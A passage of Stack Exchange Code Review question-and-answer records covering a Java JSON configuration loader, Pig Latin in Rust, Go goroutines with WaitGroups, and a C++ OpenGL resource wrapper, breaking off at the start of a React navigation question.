0.45), _clockTime.Second, 60);\n}\n</code></pre>\n\n<p>To get rid of them you could create a <code>WatchHand</code> type to hold those with descriptive names.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T10:27:33.003",
"Id": "411497",
"Score": "1",
"body": "+1; a much more 'forward thinking' refactoring. I contemplated the `int timeValue, int denom` separation, but I couldn't come up with decent names"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T16:01:43.843",
"Id": "411668",
"Score": "0",
"body": "I'm not going to downvote this, but don't ever modify the designer files. They get regenerated and you can lose a lot of code. If you want to implement a custom dispose method, implement it in the code-behind. I would also not suggest creating GDI objects and holding on to them for the lifetime of the form, since [there is a limit to how many a process can hold](https://docs.microsoft.com/en-us/windows/desktop/sysinfo/gdi-objects) (even if it is unlikely to happen in this case, it is a bad habit to get into)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:29:34.067",
"Id": "411688",
"Score": "1",
"body": "@RonBeyer: About the designer code: it is only the region \"#region Windows Form Designer generated code\" that is automatically regenerated. You can very well modify other parts, and especially you can/and should dispose your objects in the dispose(). About the GDI object limit: I think it's fairly safe to take the risk in this app :-). A better advise could be to suggest the use of the \"preloaded\" named static pens in `Pens` when ever possible."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T07:55:38.013",
"Id": "212743",
"ParentId": "212722",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "212728",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T22:33:13.617",
"Id": "212722",
"Score": "5",
"Tags": [
"c#",
"winforms"
],
"Title": "Windows Forms Clock"
} | 212722 |
<p>I want to implement classes in a project that will support the loading of configuration data from a JSON file. The JSON file is in the following form. Please be as critical as you can be. I'm a junior developer and I want to learn how to write clean code.</p>
<pre><code>[
{
"teamIdentity": "team01",
"projectIdentities": [
{
"projectIdentity": "project01"
},
{
"projectIdentity": "project02"
},
{
"projectIdentity": "project03"
}
]
},
{
"teamIdentity": "team02",
"projectIdentities": [
{
"projectIdentity": "project04"
},
{
"projectIdentity": "project05"
},
{
"projectIdentity": "project06"
}
]
},
{
"teamIdentity": "team03",
"projectIdentities": [
{
"projectIdentity": "project07"
},
{
"projectIdentity": "project08"
},
{
"projectIdentity": "project09"
}
]
}
]
</code></pre>
<p>Here is the unit test written in ScalaTest:</p>
<pre><code>class JsonConfigTest extends FlatSpec {
"JsonConfig" must "load the default JSON file" in {
val config = JsonConfigFactory.newInstance
assert(config != null)
}
it must "throw an exception when the JSON file does not exist" in {
assertThrows[IllegalArgumentException] {
JsonConfigFactory.newInstance("absent-file.json")
}
}
it must "successfully validate the JSON file" in {
pending
}
it must "throw an exception if validation for the JSON file fails" in {
pending
}
it must "return a collection of TeamData objects" in {
pending
}
}
</code></pre>
<p>This is the interface for <code>Config</code></p>
<pre><code>/**
* The interface for configuration.
*/
public interface Config {
/**
* Returns the configuration data for all teams.
*
* @return {@code List<TeamData>}
*/
List<TeamData> getAllTeamData();
}
</code></pre>
<p>I then proceed to write the <code>JsonConfigFactory</code> class.</p>
<pre><code>/**
* The factory for JsonConfig.
*/
public final class JsonConfigFactory {
/**
* Creates a default instance of JsonConfig.
*
* @return {@code JsonConfig}
*/
public static JsonConfig newInstance() {
return new JsonConfig();
}
/**
* Creates a instance of JsonConfg with the filename provided.
*
* @param filename The name of the file that contains the configuration data.
* @return {@code JsonConfig}
*/
public static JsonConfig newInstance(String filename) {
return new JsonConfig(filename);
}
}
</code></pre>
<p>This is the concrete implementation of <code>Config</code> called <code>JsonConfig</code> that will support the loading of the JSON file.</p>
<pre><code>/**
* The JSON configuration.
*/
public final class JsonConfig implements Config {
/**
* The root JSON node.
*/
private JsonNode rootConfigNode;
/**
* Default constructor.
*/
public JsonConfig() {
this.rootConfigNode = getRootConfigNode(JsonConfigUtils.JSON_CONFIG_FILE_NAME);
}
/**
* Constructor that accepts a filename that contains the configuration data.
*
* @param filename The filename.
*/
public JsonConfig(String filename) {
this.rootConfigNode = getRootConfigNode(filename);
}
@Override
public List<TeamData> getAllTeamData() {
var teamData = new ArrayList<TeamData>();
final var teamConfigNodes = rootConfigNode.elements();
teamConfigNodes.forEachRemaining(node -> teamData.add(getTeamDataFromConfigNode(node)));
return teamData;
}
/**
* Returns the TeamData from a JsonNode.
*
* @param teamConfigNode The node containing the team data.
* @return {@code TeamData}
*/
private TeamData getTeamDataFromConfigNode(JsonNode teamConfigNode) {
return JsonTeamDataFactory.newInstance(teamConfigNode);
}
/**
* Returns the root json node from the file.
*
* @param filename The name of the file.
* @return {@code JsonNode}
*/
private JsonNode getRootConfigNode(String filename) {
try {
final var inputStream = getClass().getClassLoader().getResourceAsStream(filename);
return new ObjectMapper().readValue(inputStream, JsonNode.class);
} catch (IOException e) {
throw new IllegalArgumentException();
}
}
}
</code></pre>
<p>This is the helper class for common strings</p>
<pre><code>/**
* The JSON configuration utils.
*/
final class JsonConfigUtils {
/**
* The name of the default JSON configuration file.
*/
static final String JSON_CONFIG_FILE_NAME = "config.json";
/**
* The name of the team identity field.
*/
static final String TEAM_IDENTITY_FIELD = "teamIdentity";
/**
* The name of the project identities field.
*/
static final String PROJECT_IDENTITIES_FIELD = "projectIdentities";
/**
* The name of the team project identity field.
*/
static final String PROJECT_IDENTITY_FIELD = "projectIdentity";
}
</code></pre>
<p>This is the interface for <code>TeamData</code>.</p>
<pre><code>/**
* The interface for TeamData.
*/
public interface TeamData {
/**
* Returns the ID of the team.
*
* @return {@code String}
*/
String getTeamIdentity();
/**
* Returns the IDs of the projects.
*
* @return {@code List<String>}
*/
List<String> getProjectIdentities();
}
</code></pre>
<p>This is a factory for <code>JsonTeamData</code>.</p>
<pre><code>/**
* Factory for JsonTeamData.
*/
public class JsonTeamDataFactory {
/**
* Returns a new instance of JsonTeamData.
*
* @param teamDataNode The JSON node.
* @return {@code JsonTeamData}
*/
public static JsonTeamData newInstance(JsonNode teamDataNode) {
return new JsonTeamData(teamDataNode);
}
}
</code></pre>
<p>This is the concrete implementation of <code>TeamData</code> called <code>JsonTeamData</code> that will support the loading of JSON.</p>
<pre><code>/**
* The JSON team data.
*/
public final class JsonTeamData implements TeamData {
/**
* The JSON node containing the team data.
*/
private JsonNode teamDataNode;
/**
* The team identity.
*/
private String teamIdentity;
/**
* The collection of project identities.
*/
private List<String> projectIdentities;
/**
* Constructor for JsonTeamData.
*
* @param teamDataNode The JSON node.
*/
public JsonTeamData(JsonNode teamDataNode) {
this.teamDataNode = teamDataNode;
initTeamIdentity();
initProjectIdentities();
}
@Override
public String getTeamIdentity() {
return teamIdentity;
}
@Override
public List<String> getProjectIdentities() {
return projectIdentities;
}
/**
* Initializes the team identity.
*/
private void initTeamIdentity() {
this.teamIdentity = teamDataNode.get(JsonConfigUtils.TEAM_IDENTITY_FIELD).asText();
}
/**
* Initializes the project identities.
*/
private void initProjectIdentities() {
var projectIds = new ArrayList<String>();
final var projectIdsNode = teamDataNode.findValues(JsonConfigUtils.PROJECT_IDENTITIES_FIELD);
projectIdsNode.forEach(node -> {
final var projectIdentityNodes = node.elements();
projectIdentityNodes.forEachRemaining(projectIdentity -> {
projectIds.add(projectIdentity.get(JsonConfigUtils.PROJECT_IDENTITY_FIELD).asText());
});
});
this.projectIdentities = projectIds;
}
}
</code></pre>
| [] | [
{
"body": "<p>Correctly documented code, readable variable names. Use of design patterns (factory pattern) and of interfaces, static variables named in upper case.</p>\n<p>This is coded well. I have nothing negative to say at all.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T16:54:29.707",
"Id": "260425",
"ParentId": "212724",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T23:28:32.730",
"Id": "212724",
"Score": "1",
"Tags": [
"java",
"json",
"scala",
"configuration"
],
"Title": "Java classes to load configuration data from a JSON file, with Scala tests"
} | 212724 |
<p>I feel like this code can be written in a better way but don't know how. Any help would be really appreciated.</p>
<pre><code>mod string_man {
pub fn first_ch(txt: &String) -> char {
txt.chars().next().unwrap()
}
pub fn pigify(txt: &String) -> String {
let frstch = first_ch(txt);
match frstch {
'a' |
'e' |
'i' |
'o' |
'u' => {
txt[..].to_string() + "-hay"
},
_ => {
txt[1..].to_string() + "-" + &frstch.to_string() + "ay"
}
}
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T12:40:30.463",
"Id": "411781",
"Score": "1",
"body": "It would be cool to write what you actually trying to do. The code doesn't make much sense to me."
}
] | [
{
"body": "<pre class=\"lang-rust prettyprint-override\"><code>mod string_man {\n // This is needed to handle caller passing you multiple words.\n // Although it still won't handle punctuation correctly.\n // \"Hello world\" works, for example, but \"Hello world.\" doesn't.\n // I ran out of steam to solve this problem; so I leave it as\n // an exercise :). There are many things a caller could pass\n // here that probably won't do what you want\n pub fn pigify<S>(s: S) -> String where S: AsRef<str> {\n let mut output = String::new();\n let mut first = true;\n for word in s.as_ref().split_whitespace() {\n let s = pigify_word_simple(word);\n if first {\n output += &s;\n first = false;\n continue;\n }\n output += \" \";\n output += &s;\n }\n output\n }\n\n // Simple version of pigifying a word that I would probably do in practice...\n fn pigify_word_simple<S>(s: S) -> String\n where\n S: AsRef<str>,\n {\n let s = s.as_ref();\n\n let beginning = match s.chars().next() {\n Some(c) => c.to_lowercase().to_string(),\n None => return \"\".to_string(),\n };\n\n match beginning.as_ref() {\n \"a\" | \"e\" | \"i\" | \"o\" | \"u\" => s.to_string() + \"-hay\",\n _ => (&s[1..]).to_string() + \"-\" + &beginning + \"ay\",\n }\n }\n\n #[allow(dead_code)]\n // Overly complicated version of pigifying a word that is probably a tiny, tiny bit faster...\n fn pigify_word_complex<S>(s: S) -> String\n where\n S: AsRef<str>,\n {\n // Using this trait give you the `write_str` and `write_char` methods on\n // `String`, which are used below (see pigify).\n use std::fmt::Write;\n\n // After this line, s will be a `&str`.\n let s = s.as_ref();\n\n let beginning = match s.chars().next() {\n // Would use `to_lowercase` here, which returns an iterator of chars because\n // I guess the lowercase equivalent of some utf-8 characters are actually\n // sets of more than one character. So we also call to_string() on the iterator\n // to turn it into a String.\n Some(c) => c.to_lowercase().to_string(),\n // Return an empty string if someone provides an empty S as input.\n None => return \"\".to_string(),\n };\n\n // You know the maximum possible size of the String you will be returning; so\n // when you allocate it, tell Rust to reserve enough capacity so it\n // won't have to do any reallocations as it writes data into it.\n let mut output = String::with_capacity(s.len() + beginning.len() + 3);\n\n match beginning.as_ref() {\n // This will now match any vowel (uppercase or lowercase) because of the\n // call to `to_lowercase()` above, which is I think what you want.\n \"a\" | \"e\" | \"i\" | \"o\" | \"u\" => {\n output.write_str(s).unwrap();\n output.write_str(\"-hay\").unwrap();\n }\n _ => {\n // Indexing into a `&str` like this is safe, but only because\n // we know from the early return above that s is not empty.\n // In general, though, be careful with indexing into a &str\n // (or into any slice in general).\n output.write_str(&s[1..]).unwrap();\n output.write_str(\"-\").unwrap();\n output.write_str(&beginning).unwrap();\n output.write_str(\"ay\").unwrap();\n }\n }\n\n // Final note: I don't think any of the unwraps above can ever fail,\n // but someone please correct me if I'm wrong.\n\n output\n }\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-22T23:48:42.353",
"Id": "214082",
"ParentId": "212726",
"Score": "-2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T23:57:35.817",
"Id": "212726",
"Score": "2",
"Tags": [
"rust",
"pig-latin"
],
"Title": "Pig Latin in Rust"
} | 212726 |
<p>I'm new in Go and excited with its easy-to-use concurrency implementation. However I'm not sure if I'm doing it right in Golang way.<br>
Consider the code where I spawn <code>process(i int, ch chan int)</code> every loop as separate goroutine. Then the result which comes from the channel will be consumed by <code>consume(ch chan int, wg *sync.WaitGroup)</code>.<br>
I know that the channel is blocking, so let's implement buffered channel. And of course I don't want the process terminated before every goroutine finished the operation, so I add <code>WaitGroup</code>.</p>
<pre><code>func main() {
var wg sync.WaitGroup
n := 5
ch := make(chan int, n)
for i := 0; i < n; i++ {
println("Processing ", i)
go process(i, ch)
go consume(ch, &wg)
}
println("Finished the process")
wg.Wait()
}
func consume(ch chan int, wg *sync.WaitGroup) {
wg.Add(1)
defer wg.Done()
println("Result ", <-ch)
}
func process(i int, ch chan int) {
ch <- (i * 5)
}
</code></pre>
<p>Am I doing it right? Or there are better way to do this?<br>
Many thanks!</p>
| [] | [
{
"body": "<p>Every time you execute a <code>go</code> statement it is passed to the scheduler. What if scheduling is delayed? <code>wg.Add(1)</code> is not executed and <code>wg.Wait()</code> is true. For example, run your code in the Go Playground where <code>GOMAXPROCS</code> is <code>1</code>.</p>\n\n<pre><code>package main\n\nimport (\n \"sync\"\n)\n\nfunc main() {\n var wg sync.WaitGroup\n n := 5\n ch := make(chan int, n)\n for i := 0; i < n; i++ {\n println(\"Processing \", i)\n go process(i, ch)\n go consume(ch, &wg)\n }\n println(\"Finished the process\")\n wg.Wait()\n}\n\nfunc consume(ch chan int, wg *sync.WaitGroup) {\n wg.Add(1)\n defer wg.Done()\n println(\"Result \", <-ch)\n}\n\nfunc process(i int, ch chan int) {\n ch <- (i * 5)\n}\n</code></pre>\n\n<p>Playground: <a href=\"https://play.golang.org/p/dQ_lFRz2Y8a\" rel=\"noreferrer\">https://play.golang.org/p/dQ_lFRz2Y8a</a></p>\n\n<p>Output:</p>\n\n<pre><code>Processing 0\nProcessing 1\nProcessing 2\nProcessing 3\nProcessing 4\nFinished the process\n</code></pre>\n\n<hr>\n\n<p>Make sure that all the <code>wg.Add</code>s are run before <code>wg.Wait</code>. Move the <code>println(\"Finished the process\")</code> to the correct place after the <code>wg.Wait</code>. For example,</p>\n\n<p><code>waiting.go</code>:</p>\n\n<pre><code>package main\n\nimport (\n \"runtime\"\n \"sync\"\n)\n\nfunc main() {\n println(\"GOMAXPROCS\", runtime.GOMAXPROCS(0))\n var wg sync.WaitGroup\n n := 5\n ch := make(chan int, n)\n for i := 0; i < n; i++ {\n println(\"Processing \", i)\n go process(i, ch)\n wg.Add(1)\n go consume(ch, &wg)\n }\n wg.Wait()\n println(\"Finished the process\")\n}\n\nfunc consume(ch chan int, wg *sync.WaitGroup) {\n defer wg.Done()\n println(\"Result \", <-ch)\n}\n\nfunc process(i int, ch chan int) {\n ch <- (i * 5)\n}\n</code></pre>\n\n<p>Playground: <a href=\"https://play.golang.org/p/3czBixAjxdT\" rel=\"noreferrer\">https://play.golang.org/p/3czBixAjxdT</a></p>\n\n<p>Output:</p>\n\n<pre><code>GOMAXPROCS 1\nProcessing 0\nProcessing 1\nProcessing 2\nProcessing 3\nProcessing 4\nResult 0\nResult 5\nResult 10\nResult 15\nResult 20\nFinished the process\n</code></pre>\n\n<p>Run the <a href=\"https://golang.org/doc/articles/race_detector.html\" rel=\"noreferrer\">Go data race detector</a> to check for data races. It finds none.</p>\n\n<pre><code>$ go run -race waiting.go\nGOMAXPROCS 4\nProcessing 0\nProcessing 1\nResult 0\nProcessing 2\nResult 5\nProcessing 3\nResult 10\nProcessing 4\nResult 15\nResult 20\nFinished the process\n$\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T05:12:00.010",
"Id": "212736",
"ParentId": "212731",
"Score": "5"
}
},
{
"body": "<p>Given that you seem to be experimenting, it's hard to say if the <em>pattern</em> you've employed is correct since there really isn't context. But this is largely a valid use of channels. There is one problem though: you have a race condition. More on that in a bit.</p>\n\n<p>Using <code>sync.WaitGroup</code> is the correct approach here. Ideally, you should thread this through <em>all</em> goroutines that you spawn. In this case, because of the data dependency through <code>ch</code> (namely that there are exactly <code>n</code> <code>process</code>es and <code>n</code> <code>consume</code>rs and each sends/receives one <code>int</code>), we know that if all of the <code>consume</code>rs finish (and call the deferred <code>wg.Done()</code>) there can't be any <code>process</code>es running. But often, for larger projects such a dependency may not be as obvious, and may change if you alter other parts of your codebase. So, in any nontrivial application where all channel usages aren't limited to a small area of the code, you probably want to thread the <code>sync.WaitGroup</code> through all goroutines spawned.</p>\n\n<p>A note on blocking: you made a vague statement about channel blocking. To clarify, <code>make(chan int, 5)</code> produces a buffered channel which only blocks if more than 5 <code>int</code>s have been sent but not received. <code>make(chan int)</code> produces a channel that blocks until a consumer receives the value. In your example, both of these will work.</p>\n\n<p><strong>The race condition:</strong></p>\n\n<p>Doing <code>wg.Add(1)</code> <strong>inside</strong> the goroutine is racy. Why? Because once you do <code>go consume(ch, &wg)</code> you can't say for sure that the next thing that will happen is the <code>wg.Add(1)</code>. In fact, you can't even be sure that that will run at all (we could reach the end of <code>main()</code>). In a degenerate case, if you reached the end of <code>main()</code> and <code>wg.Wait()</code> was called before a <code>wg.Add(1)</code> from a goroutine, the counter in the <code>Wait()</code> wouldn't account for this goroutine. You need to do the <code>wg.Add(1)</code> <em>before</em> you spawn the goroutine:</p>\n\n<pre><code>wg.Add(1)\ngo consume(ch, &wg)\n</code></pre>\n\n<p>Since you know there will be <code>n</code> goroutines spawned, you could also do <code>wg.Add(n)</code> <em>before</em> the loop, but if that loop can exit prematurely, it is more wise (and clear) to do the <code>wg.Add(1)</code> before each <code>go consume()</code>.</p>\n\n<p>You should also probably <code>defer wg.Wait()</code> right after <code>var wg sync.WaitGroup</code> in <code>main()</code>. The point of <code>defer</code> is to keep resource allocation and cleanup close so you don't forget it!</p>\n\n<p>Also, you should get in the habit of using directional channels. They give you some safety that you don't accidentally receive from producers or send from consumers. They also quickly communicate to readers of your code what each function does at a high level.</p>\n\n<pre><code>func consume(ch <-chan int, wg *sync.WaitGroup) {\n // ...\n}\n\nfunc process(i int, ch chan<- int) {\n // ...\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T05:15:00.957",
"Id": "212737",
"ParentId": "212731",
"Score": "-1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T02:17:24.493",
"Id": "212731",
"Score": "2",
"Tags": [
"go",
"concurrency"
],
"Title": "Golang execute several go routine in loop and then wait"
} | 212731 |
<p>So with OpenGL(and I'm assuming other GPU APIs) you create different buffers/programs/etc that live on the GPU and you are given a handle to them when created. For instance, if you want a buffer to store data, you must first generate it then you are presented with a handle to it to be used to push data to it as well as eventually clean it up.</p>
<p>The following is a wrapper class that holds the GPU resource handle, provides additional useful functions and cleans up the GPU resource when its time.</p>
<p>See edit at bottom.</p>
<p>GLResource.h</p>
<pre><code>#pragma once
#include <functional>
namespace engine {
template<typename T>
class GLResource {
std::function<void(T)> onDestroy;
public:
const T value;
GLResource() = delete;
GLResource(
const T& value,
const std::function<void(const T)>& onDestroy
) :
value{value},
onDestroy{onDestroy} {
}
~GLResource() {
onDestroy(value);
}
};
}
</code></pre>
<p>The above template class is just a simple mechanism for taking a generic value, and calling a custom "onDestroy" callback when the destructor is called.</p>
<p>UniformBuffer.h</p>
<pre><code>#pragma once
#include <memory>
#include "GL.h"
#include "GLResource.h"
namespace engine {
class UniformBuffer {
static GLuint bindingIndexIterator;
std::shared_ptr<GLResource<GLuint>> buffer;
public:
const GLuint bindingIndex;
//must have a buffer size
UniformBuffer() = delete;
UniformBuffer(GLsizeiptr size);
void bindBuffer() const;
void pushBufferData(GLintptr offset, GLsizeiptr size, const void* data) const;
};
}
</code></pre>
<p>UniformBuffer.cpp</p>
<pre><code>#include "UniformBuffer.h"
#include "logger.h"
namespace engine {
USE_LOGGER("UniformBuffer");
GLuint UniformBuffer::bindingIndexIterator = 0;
UniformBuffer::UniformBuffer(GLsizeiptr size) :
bindingIndex{bindingIndexIterator++} {
GLuint tmpBuffer;
glGenBuffers(1, &tmpBuffer);
glBindBuffer(GL_UNIFORM_BUFFER, tmpBuffer);
glBufferData(GL_UNIFORM_BUFFER, size, 0, GL_DYNAMIC_DRAW);
glBindBufferBase(GL_UNIFORM_BUFFER, bindingIndex, tmpBuffer);
LOGGER_INFO("Created {}", tmpBuffer);
buffer = std::make_shared<GLResource<GLuint>>(tmpBuffer, [](GLuint buffer) {
glDeleteBuffers(1, &buffer);
LOGGER_INFO("Deleted {}", buffer);
});
}
void UniformBuffer::bindBuffer() const {
glBindBuffer(GL_UNIFORM_BUFFER, buffer.get()->value);
}
void UniformBuffer::pushBufferData(GLintptr offset, GLsizeiptr size, const void* data) const {
glBufferSubData(GL_UNIFORM_BUFFER, offset, size, data);
}
}
</code></pre>
<p>The idea here is that <code>UniformBuffer</code> can be copied/assigned without destroying the resource held on the GPU, but when all shared instances of the <code>UniformBuffer</code> go out of scope/are deleted the GPU resource is then destroyed.</p>
<p>The use of <code>std::shared_ptr</code> here is to keep the classes unique GPU resource valid until it's no longer needed, the <code>UniformBuffer</code>s destructor would normally be called when copy constructed or assigned so that's out of the question.</p>
<p>Anyway, I'm looking for feedback on if this is a reasonable approach, and/or if there are better ways of implementing this sort of behavior?</p>
<p><strong>Edit:</strong> I have since updated a few things. Though they appear to work properly, I'm not sure if I've introduced any errors.</p>
<p>DestructorCallback.h (was GLResource.h)</p>
<pre><code>#pragma once
#include <functional>
namespace engine {
class DestructorCallback{
std::function<void(void)> onDestructor;
public:
DestructorCallback() = delete;
DestructorCallback(
const std::function<void(void)>& onDestructor
) :
onDestructor{onDestructor} {
}
~DestructorCallback() {
onDestructor();
}
};
}
</code></pre>
<p>UniformBuffer.cpp</p>
<pre><code>...
UniformBuffer::UniformBuffer(GLsizeiptr size) :
bindingIndex{bindingIndexIterator++} {
glGenBuffers(1, &buffer);
glBindBuffer(GL_UNIFORM_BUFFER, buffer);
glBufferData(GL_UNIFORM_BUFFER, size, 0, GL_DYNAMIC_DRAW);
glBindBufferBase(GL_UNIFORM_BUFFER, bindingIndex, buffer);
LOGGER_INFO("Created {}", buffer);
onDestroy = std::make_shared<DestructorCallback>([*this]() {
LOGGER_INFO("Deleted {}", buffer);
glDeleteBuffers(1, &buffer);
});
}
...
</code></pre>
<p>Basically I moved the <code>T value</code> out of <code>GLResource</code>(as well as renamed GLResource to DestructorCallback) so it can be accessed easier without needing to go through <code>buffer.get()->value</code> each time. The <code>UniformBuffer</code>s <code>std::shared_ptr</code> has been renamed to onDestroy.</p>
<p>Still looking for any feedback. (Now also curious if I should revert my changes to the previous version <em>at the top of the post</em>, or keep my newer version?)</p>
<p><strong>Edit 2:</strong> You might realize I'm using <code>*this</code> in the lambda callback capture block (which seems to work). I wanted to capture by value(with <code>[=]</code>) but for some reason capture by value produces the wrong value for <code>buffer</code> when the callback is invoked. I'm not sure why this would be as to my understanding it should essentially be a callback holding a copy of the value passed at the time of creation. This makes me worry that my 2nd example may be flawed even if the problems didn't show themselves with the limited testing I did.</p>
| [] | [
{
"body": "<p><strong>Review:</strong></p>\n\n<blockquote>\n <p>The idea here is that UniformBuffer can be copied/assigned without\n destroying the resource held on the GPU, but when all shared instances\n of the UniformBuffer go out of scope/are deleted the GPU resource is\n then destroyed.</p>\n</blockquote>\n\n<p>You may run into problems with this approach if you need to store any other data in the <code>UniformBuffer</code> (or other classes containing a <code>GLResource</code>). Changes made to data in one instance will not be applied to the data in the other instances (unless we put it all in shared_ptrs). It would probably be safer and easier to wrap the <code>UniformBuffer</code> itself in a <code>shared_ptr</code>.</p>\n\n<p>This isn't a problem with the <code>UniformBuffer</code> as it stands, and you'll be ok as long as you don't add any extra state into the user class (i.e. the class directs all state requests to OpenGL).</p>\n\n<p>e.g. For an OpenGL <code>Buffer</code> object used for storing vertex data, we might want to store some state in the class to make OpenGL calls easier:</p>\n\n<pre><code>class Buffer\n{\n ...\n\n template<class ElementT>\n void SetData(GLenum target, ElementT const* data, std::size_t elementCount, GLenum usage)\n {\n ...\n m_elementCount = elementCount;\n }\n\nprivate:\n\n std::shared_ptr<GLResource<GLuint>> m_resource;\n\n std::size_t m_elementCount; // extra state: number of vertices in the buffer\n};\n\nBuffer buffer1; // create a buffer to use for vertex data\nbuffer1.SetData(GL_ARRAY_BUFFER, positions.data(), positions.size(), GL_DYNAMIC_DRAW); // sets m_elementCount\n\nBuffer buffer2 = buffer1; // copy -> buffer2 is the same resource\n\n// lets say we now have fewer vertices (positions.size() is smaller)\nbuffer2.SetData(GL_ARRAY_BUFFER, positions.data(), positions.size(), GL_DYNAMIC_DRAW); // OpenGL state is updated, buffer2 m_elementCount is changed, but buffer1 m_elementCount is not!\n\nassert(buffer2.GetElementCount() == buffer1.GetElementCount()); // will fail!\n</code></pre>\n\n<hr>\n\n<p>I think it's reasonable here for <code>UniformBuffer</code> to inherit from <code>GLResource</code>. The <code>UniformBuffer</code> <em>is a</em> resource, and should inherit its semantics / interface.</p>\n\n<p>We can support move assignment for the <code>GLResource</code> by making the id value non-const and private, and adding a <code>T GetID() const</code> public member function. This also would allow move assignment for derived resource types.</p>\n\n<hr>\n\n<p>Does OpenGL use any other resource ID type than <code>GLuint</code> (i.e. does <code>GLResource</code> actually need to be templated on it)?</p>\n\n<hr>\n\n<p><strong>An alternative example:</strong></p>\n\n<p>My own OpenGL resource class from a while ago looks like this:</p>\n\n<pre><code>template<class T>\nclass Handle\n{\npublic:\n\n Handle();\n\n Handle(Handle const&) = delete;\n Handle& operator=(Handle const&) = delete;\n\n Handle(Handle&& other);\n Handle& operator=(Handle&& other);\n\n GLuint GetID() const;\n\nprotected:\n\n ~Handle();\n\nprivate:\n\n static GLuint Create();\n static void Destroy(GLuint id);\n\n GLuint m_id;\n};\n\ntemplate<class T>\nHandle<T>::Handle():\n m_id(Create())\n{\n assert(m_id != 0u);\n}\n\ntemplate<class T>\nHandle<T>::~Handle()\n{\n if (m_id != GLuint{ 0 })\n {\n Destroy(m_id);\n m_id = GLuint{ 0 };\n }\n}\n</code></pre>\n\n<p>It uses the <a href=\"https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern\" rel=\"nofollow noreferrer\">CRTP</a> and template specialization to avoid storing a deleter (or creator). Users specialize the static <code>Create()</code> and <code>Destroy()</code> functions to generate the appropriate ID:</p>\n\n<pre><code>namespace Detail\n{\n\n template<>\n GLuint Handle<Buffer>::Create()\n {\n auto id = GLuint{ 0 };\n glGenBuffers(1, &id);\n return id;\n }\n\n template<>\n void Handle<Buffer>::Destroy(GLuint id)\n {\n glDeleteBuffers(1, &id);\n }\n\n} // Detail\n\nclass Buffer : public Detail::Handle<Buffer>\n{\npublic:\n\n Buffer();\n\n Buffer(Buffer&&) = default;\n Buffer& operator=(Buffer&&) = default;\n\n ...\n};\n</code></pre>\n\n<p>The downside to this is that certain OpenGL objects need additional parameters to the create function. When I first implemented it, the best solution I could find was to specialize the entire <code>Detail::Handle</code> class, e.g.:</p>\n\n<pre><code>namespace Detail\n{\n\n template<>\n class Handle<ShaderObject>\n {\n public:\n\n explicit Handle(GLenum shaderType);\n\n Handle(Handle const&) = delete;\n Handle& operator=(Handle const&) = delete;\n\n Handle(Handle&& other);\n Handle& operator=(Handle&& other);\n\n GLuint GetID() const;\n\n protected:\n\n ~Handle();\n\n private:\n\n static GLuint Create(GLenum shaderType);\n static void Destroy(GLuint id);\n\n GLuint m_id;\n };\n\n} // Detail\n</code></pre>\n\n<p>This could probably be avoided by using variable template arguments for the constructor and <code>Create()</code> functions.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T23:18:32.220",
"Id": "411543",
"Score": "0",
"body": "I'll have to go through this a bit closer when I've got a bit more time, but one of the things you said \"You may run into problems with this approach if you need to store any other data in the UniformBuffer ...\" kinda confused me. The `UniformBuffer` as seen in my example doesn't hold any data, rather it purely acts like a bridge to the GL buffer. My idea there was that one or more buffers on the cpu side could update one or more buffers on the gpu side. (ie MainCamera pushes to CameraUBO for one pass, ShadowCamera pushed to CameraUBO for a different pass, etc.) Would that still be a problem?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-03T09:13:35.093",
"Id": "411550",
"Score": "0",
"body": "I've added an example. You'll be ok as long as `UniformBuffer` (or other classes using the `GLResource` don't have any state themselves)."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T16:09:02.057",
"Id": "212760",
"ParentId": "212732",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-02T03:13:41.923",
"Id": "212732",
"Score": "3",
"Tags": [
"c++",
"memory-management",
"opengl"
],
"Title": "C++ OpenGL GPU resource wrapper pattern"
} | 212732 |
<p>I'm very new to React.js and have to start converting an entire website at my work. It's fun, but I'm hoping to get some feedback about how I tackled building this navigation component as I don't fully understand best practices when it comes to structuring components as well as proper state and props management.</p>
<p>I have uploaded the full working example to me repo here if you want to clone and run locally: <a href="https://github.com/tayloraleach/recursive-react-material-ui-menu/tree/7b43554266f5d5cef577a34f2a2094b551b824de" rel="nofollow noreferrer">https://github.com/tayloraleach/recursive-react-material-ui-menu</a></p>
<p>Here are the two components I built that compose the navigation:</p>
<p>The main navigation component that holds all the children</p>
<p><b>MobileNavigation.jsx</b></p>
<pre><code>import React from 'react';
import PropTypes from 'prop-types';
import { withStyles } from '@material-ui/core/styles';
